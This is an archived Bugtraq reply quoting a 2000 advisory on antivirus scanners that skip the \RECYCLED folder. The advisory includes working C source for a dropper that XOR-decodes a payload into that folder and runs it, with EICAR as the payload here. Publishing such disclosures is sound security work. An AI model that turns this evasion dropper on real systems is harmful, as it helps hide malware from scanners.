Re: Bypass Virus Checking

From: Bacano (bacanoat_private)
Date: Tue Feb 01 2000 - 01:22:24 PST

  • Next message: Georgi Guninski: "Outlook Express 5 vulnerability - Active Scripting may read email"

    Hi2all
    
    Since Neil dont say witch preferences file we can look and last version of
    NAV is 6.00.06, and that didnt work here, i wonder why tests on versions
    5.xx.
    
    Another thing, since this list moderator didnt care about the problem with
    html tags on Norton Internet Security, i just want to let you know that it
    was fixed today (must i learn to write 'elite' reports? probably ...)
    
    -------------ooo-0¿0-ooo-------------
    Bacano     bacanoat_private
    Esoteric Pizza Research (CEO)
    
    ----- Original Message -----
    
    From: "Neil Bortnak" <neilat_private>
    To: <BUGTRAQat_private>
    Sent: Segunda-feira, 31 de Janeiro de 2000 5:39
    Subject: Bypass Virus Checking
    
    
    > Greetings All,
    >
    > I originally released this vulnerability over the Christmas holidays on
    > NTBugTraq. I spoke with a member of the Security Focus staff about
    > getting it onto the web site and was told that I should post the problem
    > here. During our conversation we decided that I hadn't been clear in my
    > last posting and that I should re-do it complete with working exploit
    > and source code. I hope this one makes more sense. The new version
    > follows.
    >
    > Best Regards,
    >
    > Neil Bortnak
    > InfoSec & Linux Consulting
    > www.bortnak.com
    >
    >
    > 1.Background
    > ------------
    >
    > Under Win95/98 the Recycle Bin is a system designed to make it easy for
    > users to "undelete" files. When a user deletes from the GUI, the file is
    > not really deleted but moved to a folder named "RECYCLED" located at the
    > root of that volume. If the folder does not exist, possibly because
    > nothing has ever been deleted on that volume, the directory is created.
    > The file is then renamed and information about the file's original name
    > and location are stored in an index file. When you look at the recycle
    > bin through the GUI, Windows reads the index files from each volume and
    > displays their contents. It does not display a raw directory listing.
    > You cannot easily access a raw directory listing through the GUI. When
    > you empty the recycle bin, Windows deletes all of the files in the
    > RECYCLED directories that have a corresponding entry in one of the
    > indexes. Therefore a file stored in a RECYCLED directory via DOS or a
    > program will not show up anywhere in the GUI and will not be deleted
    > when you empty the Recycle Bin.
    >
    >
    > 2. The Problem
    > --------------
    >
    > By default, some virus checkers exclude the files from their batch and
    > on-access scanning whose pathnames begin with \RECYCLED. That is, all
    > files and subdirectories within the RECYCLED folder on every volume will
    > ***NEVER BE SCANNED*** for any reason. Therefore you can store and run
    > malicious code from these directories without setting off the virus
    > checker. Since these files wouldn't have an entry in the Recycle Bin's
    > index file, they will never be deleted. It's a safe haven.
    >
    >
    > 3. Exploitation Difficulties
    > ----------------------------
    >
    > The difficult part about making this work from an attacker's point of
    > view is getting the malicious code to the \RECYCLED directory. An e-mail
    > virus checker will catch it as it comes into the network, and on-access
    > scanning will catch it from the floppy drive. I've worked out two
    > methods for getting the files into position without setting off the
    > checkers.
    >
    >
    > 3.1 Trojan with encoded payload
    > -------------------------------
    >
    > In my proof-of-concept code, I took one of those fun little games that
    > are going around and made an "installation" program for it. The program
    > uses a WinZip self-installer containing 3 files: a clean version of the
    > fun game (hereafter known as the decoy), a setup program and a file
    > called winsetup.dll. The winsetup.dll file is in fact the malicious
    > program encoded by XORing all it's bytes with 25. By doing this the
    > archive passes all virus checks with flying colors. This nicely bypasses
    > any perimeter, e-mail, batch and on-access scans.
    >
    > When executed the WinZip installer extracts the files to a temporary
    > directory and runs the setup program. The setup program copies the decoy
    > to the users desktop. If a \RECYCLED directory doesn't exist, the setup
    > program makes one. It then opens the winsetup.dll file for reading and
    > creates a new file in the \RECYCLED directory. It copies the
    > winsetup.dll file into it's new home 4k at a time, XORing it back to the
    > original malicious executable. The setup program runs the malicious code
    > in a hidden window and exits.
    >
    > I tested this idea using Back Orifice 2000. I configured it to install
    > itself back into the RECYCLED directory after being run for the first
    > time. It worked just fine. I downloaded the trojan, executed it, and
    > connected to the BO2K server from another computer and none of the
    > intervening virus checkers complained. That's really not supposed to
    > happen.
    >
    >
    > 3.2 On a CD-ROM
    > ---------------
    >
    > I didn't test this, but CD-ROMs are also excluded by default on some
    > checkers. Someone can give it a try if they like (I haven't got a
    > burner, but the theory is sound).
    >
    >
    > 4. Notes on NT
    > --------------
    >
    > The exploit works great under NT. The anti-virus folk make the same
    > exclusions with NT checkers, presumably to deal with dual boot systems.
    > NT's default permissions allow this to work even when the machine is not
    > dual boot and has NTFS on all drives because EVERYONE can create
    > directories at the root. Just make a \RECYCLED directory and away you
    > go.
    >
    >
    > 5. General Notes
    > ----------------
    >
    > I don't see why the \RECYCLED directory is excluded. It's even more
    > strange when you consider that the \RECYCLER directories ARE scanned.
    > The \RECYCLER directory stores the Recycle Bin's files under NT. One
    > remark I had from an AV vendor implied that it was unreasonable to scan
    > files in order to catch XORed or encrypted viruses. That's probably
    > true, but the whole thing works because of the exclusion of the
    > \RECYCLED directory. That's the crux of the issue, the rest of the code
    > just exploits the real problem.
    >
    >
    > 6. Vulnerable Scanners
    > ----------------------
    >
    > These are the results from the checker I have available.
    >
    > McAfee Virus Scan
    > Engine: 4050
    > DATs:   4062
    > Vulnerable
    >
    > Norton Anti-Virus
    > Engine: 5.01.01C
    > DATs:   01/24/00
    > Vulnerable
    >
    > Norton Anti-Virus
    > Engine: 5.00.01C
    > DATs:   01/24/00
    > Not Vulnerable: Identifies EICAR.COM as Bloodhound.File.String
    >
    > The problem is more sinister with NAV because the \RECYCLED directory
    > DOES NOT APPEAR on the exclusions list. It's hidden and can be found
    > only by having a look at the preferences file with a hex editor. There
    > are other hidden exclusions in that file, but I haven't had the
    > opportunity to think about possible exploits yet.
    >
    >
    > 7. Solutions
    > ------------
    >
    > With McAfee, just go into the exclusions tab and delete the \RECYCLED
    > entry. You do that at your own risk of course, as I have no idea why it
    > was excluded in the first place. As for NAV, I don't really have a good
    > solution that doesn't involve doing creative things with a hex editor or
    > installing software, which is to say that I don't have a good solution.
    >
    >
    > 8. The virusexploit0100.exe file
    > --------------------------------
    >
    > Included in this e-mail is a working exploit for this vulnerability. If
    > you run the executable and your virus checker does not complain, check
    > for the existence of an EICAR.COM file in the \RECYCLED directory. The
    > correct \RECYCLED directory is almost certainly on your C: drive. If it
    > exists your virus checker is vulnerable.
    >
    > To tidy up after the test, delete the decoy.exe program file that was
    > copied to your desktop and the \RECYCLED\EICAR.COM file.
    >
    >
    > Appendix A. Source Code
    > --------------
    >
    > The following source files are for the programs that come in the
    > virusexploit0100.exe.
    >
    >
    > A.1 setup.c
    > -----------
    >
    > /* Setup program for bypassing virus checkers */
    >
    > #include <sys/types.h>
    > #include <sys/stat.h>
    > #include <fcntl.h>
    > #include <stdlib.h>
    > #include <dir.h>
    > #include <io.h>
    > #include <stdio.h>
    > #include <windows.h>
    >
    > #define SOURCE_FILE ".\\winsetup.dll"
    > #define DEST_FILE "\\recycled\\eicar.com"
    > #define DECOY_FILE ".\\decoy.exe"
    > #define DECOY_DIR_KEY
    > "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
    > #define DECOY_DIR_VAL "Desktop"
    > #define BUFSIZE 4096
    > #define XORME 25
    >
    > int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
    > lpszCmdLine, int nCmdShow)
    > {
    > int sourcefile, destfile, bytesin,i;
    > char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
    > long lerror;
    > HKEY regkey;
    > DWORD ValSize = sizeof(szDirName); /* How annoying */
    >
    > /* Find out where the desktop is so we can put the decoy there */
    > if((lerror =
    > RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,&regkey))
    > != ERROR_SUCCESS)
    > {
    > exit(0);
    > }
    > if((lerror =
    > RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
    > ERROR_SUCCESS)
    > {
    > exit(0);
    > }
    > RegCloseKey(regkey);
    >
    >
    > /* Expand the dir name on the off chance it contains ENV vars */
    > ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
    > rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
    >
    >
    > /* It doesn't matter what mkdir's return code is. It'll make the dir if
    > it
    > doesn't exist or fail of it does */
    > mkdir("\\recycled");
    >
    >
    > /* Prepare to "decrypt" the infected executable */
    > if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
    > {
    > exit(0);
    > }
    > if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
    > S_IREAD | S_IWRITE)) == -1)
    > {
    > exit(0);
    > }
    >
    > /* "Decrypt" it */
    > while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
    > {
    > for(i=0;i<bytesin;i++)
    > {
    > buffer[i] ^= XORME;
    > }
    > write(destfile,&buffer[0],bytesin);
    > }
    >
    > close(sourcefile);
    > close(destfile);
    >
    > /* Run the infected executable. You would normally use SW_HIDE here. */
    > WinExec(DEST_FILE,SW_SHOWNORMAL);
    > return(0);
    > }
    >
    >
    > A.2 decoy.c
    > -----------
    >
    > /*
    > A lame decoy program by Neil Bortnak
    > */
    >
    > #include <windows.h>
    >
    > int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
    > lpszCmdLine, int nCmdShow)
    > {
    > char message[] = "This is the decoy program. Normally you'd use a fun
    > little game\nor a self-playing animation of questionable taste.";
    > MessageBox(NULL,&message[0],"Virus Test",MB_OK | MB_ICONINFORMATION);
    > return(0);
    > }
    >
    >
    > A.3 winsetup.dll
    > ----------------
    >
    > The unencoded form of this file is a standard EICAR.COM test string.
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:32:47 PDT